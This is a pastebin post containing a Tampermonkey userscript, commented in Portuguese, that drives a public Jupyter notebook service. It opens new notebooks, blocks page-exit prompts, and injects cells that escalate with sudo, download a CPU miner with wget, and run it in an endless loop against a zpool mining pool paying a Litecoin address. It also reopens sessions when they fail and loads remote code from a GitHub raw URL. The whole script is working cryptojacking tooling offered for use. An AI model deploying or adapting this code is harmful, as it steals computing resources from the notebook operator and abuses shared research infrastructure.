ZPOOL teste cabecario


SUBMITTED BY: prestes

DATE: Oct. 24, 2022, 9:06 p.m.

UPDATED: Oct. 25, 2022, 3:22 a.m.

FORMAT: Text only

SIZE: 5.7 kB

HITS: 785

  1. // ==UserScript==
  2. // @name zpool
  3. // @namespace felipe-netbook
  4. // @version 1.3
  5. // @updateURL https://bitbin.it/vlN6Zak9/raw/
  6. // @downloadURL https://bitbin.it/vlN6Zak9/raw/
  7. // @description q bom tudo tranquilo
  8. // @author felipe
  9. // @icon
  10. // @grant GM_setValue
  11. // @grant GM_getValue
  12. // @match https://www.invertexto.com/netbook
  13. // @match http://netbooks.networkmedicine.org/*/Welcome_to_netBooks.ipynb*
  14. // @match http://netbooks.networkmedicine.org/*/Untitled*
  15. // @match http://netbooks.networkmedicine.org/user/*/
  16. // @match http://netbooks.networkmedicine.org/hub/spawn-pending/*
  17. // ==/UserScript==
  18. //**************
  19. // @grant none
  20. // @require https://raw.githubusercontent.com/prestess/HTTP/main/tampermonkey-corpo-zpool.js
  21. // @updateURL https://raw.githubusercontent.com/prestess/HTTP/main/zpool.js
  22. // @downloadURL https://raw.githubusercontent.com/prestess/HTTP/main/zpool.js
  23. //****************
  24. //codigo acima
  25. //anexar no tampermonkey
  26. //**********************************
  27. //codigo abaixo
  28. //anexar no github
  29. function desabilitarSaidaSite(){
  30. window.onbeforeunload=function(){let id=null;}
  31. let onBeforeUnloadListener;
  32. window.addEventListener('beforeunload', onBeforeUnloadListener = ev => {
  33. ev.preventDefault();
  34. ev.returnValue = 'Any';});
  35. window.removeEventListener('beforeunload', onBeforeUnloadListener);
  36. }
  37. //************
  38. var winh=0;
  39. function obterWin(){
  40. return winh;
  41. }
  42. function gravarWin(){
  43. winh=window.open(site_endereco,"_blank")||0;
  44. }
  45. const site_endereco="http://netbooks.networkmedicine.org";
  46. let verif=0;
  47. let endereco=window.location.href;
  48. verif=endereco.match(/invertexto\.com\/netbook/gi);
  49. if(verif!=null)
  50. (function() {
  51. 'use strict';
  52. setInterval(()=>{
  53. let ww=obterWin();
  54. if(ww.closed||ww==0){
  55. gravarWin();
  56. }
  57. },3000);
  58. win=0;
  59. })();
  60. //************
  61. verif=0;
  62. endereco=window.location.href;
  63. verif=endereco.match(/Welcome_to_netBooks/gi);
  64. if(verif!=null)
  65. (function() {
  66. 'use strict';
  67. let elem_menu_file=document.getElementById('filelink');
  68. let elem_submenu_new=document.getElementById('new_notebook').getElementsByTagName("a")[0];
  69. let elem_submenu_python=0;//document.getElementById('new-notebook-submenu-python3').getElementsByTagName("a")[0];
  70. setTimeout(function(){elem_menu_file.click()},3000);
  71. setTimeout(function(){
  72. elem_submenu_python=document.getElementById('new-notebook-submenu-python3').getElementsByTagName("a")[0];
  73. /*
  74. http://netbooks.networkmedicine.org/user/6354c46d-7cc8-4d8c-84b8-4ffad406ef8c/notebooks/Untitled.ipynb?kernel_name=python3
  75. Welcome_to_netBooks.ipynb?#
  76. substituir por
  77. Untitled.ipynb?kernel_name=python3
  78. */
  79. let str=elem_submenu_python.href.replace(/Welcome\_to\_netBooks\.ipynb\?\#/gi,'Untitled\.ipynb?kernel_name=python3');
  80. setTimeout(()=>{
  81. desabilitarSaidaSite();
  82. GM_setValue ('permissao',1);
  83. window.open(str,"_self");
  84. },6000);
  85. elem_submenu_python.click();
  86. },2000);
  87. //setTimeout(()=>{desabilitarSaidaSite();window.close(); },12000);
  88. })();
  89. //************
  90. endereco=window.location.href;
  91. verif=endereco.match(/spawn-pending/gi);
  92. if(verif!=null)
  93. (function() {
  94. 'use strict';
  95. setTimeout(()=>{
  96. let prg=$('#progress-message');
  97. if(prg!=null){
  98. window.open(site_endereco,"_blank");
  99. setTimeout(()=>{window.close()},10000);
  100. }
  101. },30000);
  102. })();
  103. //************
  104. endereco=window.location.href;
  105. verif=endereco.match(/\/user\/*\//gi);
  106. if(verif!=null)
  107. (function() {
  108. 'use strict';
  109. setTimeout(()=>{
  110. let prg=$('div .error');
  111. for(var i=0;i<prg.length;i++){
  112. let j = prg[i].getElementsByTagName('h1');
  113. for(var m=0;m<j.length;m++){
  114. let p=j[m].innerHTML;
  115. let re=p.match(/503 : Service Unavailable/gi);
  116. if(re){
  117. window.open(site_endereco,"_blank");
  118. setTimeout(()=>{window.close()},10000);
  119. //503 : Service Unavailable
  120. }
  121. }
  122. }
  123. },8000);
  124. })();
  125. //************
  126. endereco=window.location.href;
  127. verif=endereco.match(/\/user\/*\//gi);
  128. if(verif!=null)
  129. (function() {
  130. 'use strict';
  131. let d=$('div .error')[0];
  132. if(d!=null)setTimeout(()=>{
  133. window.open(site_endereco,"_blank");
  134. setTimeout(()=>{window.close()},10000);
  135. },5000);
  136. })();
  137. //************
  138. verif=0;
  139. endereco=window.location.href;
  140. verif=endereco.match(/Untitled/gi);
  141. if(verif!=null)
  142. (function() {
  143. 'use strict';
  144. let texto=0;
  145. var linha=0;
  146. let perm=GM_getValue ('permissao',0);
  147. if(perm===0)window.close();
  148. GM_setValue ('permissao',0);
  149. texto='!sudo su\n\r';
  150. texto+='import random\n\r';
  151. texto+='!wget https://github.com/rplant8/cpuminer-opt-rplant/releases/latest/download/cpuminer-opt-linux.tar.gz\n\r';
  152. texto+='!tar xf cpuminer-opt-linux.tar.gz\n\r';
  153. texto+='while 1:\n\r';
  154. texto+=' ';
  155. texto+='!./cpuminer-sse2 -t 10 -r 5 -a yescrypt -o stratum+tcp://yescrypt.na.mine.zpool.ca:6233 -p c=LTC -u LTC:MGc1CUwppmaF8R4hVVbgXhYBWeEus3jrZF \n\r';
  156. texto+='!sleep random.randint(1,2)\n\r';
  157. //************
  158. desabilitarSaidaSite();
  159. let nova=false;
  160. setInterval(()=>{
  161. //div.modal-footer
  162. //button.btn.btn-default.btn-sa
  163. let dbtn=$('div .modal-footer')[0].getElementsByTagName('button')[0];
  164. if(dbtn && nova==false){
  165. nova=true;window.open(site_endereco,"_self");}},5000);
  166. //**************
  167. setTimeout(()=>{
  168. let txta=$('textarea')[0];
  169. txta.focus();
  170. txta.value=texto;
  171. setTimeout(()=>{
  172. desabilitarSaidaSite();
  173. let txta=$('textarea')[0];
  174. if(txta.value.length==348){
  175. window.open(site_endereco,"_self");
  176. }else if(txta.value.length!=348){
  177. document.getElementById('run_int').getElementsByTagName('button')[0].click();
  178. }},(Math.floor(Math.random() * 15) + 6000));
  179. },(Math.floor(Math.random() * 15) + 6000));
  180. })();
  181. //*********

comments powered by Disqus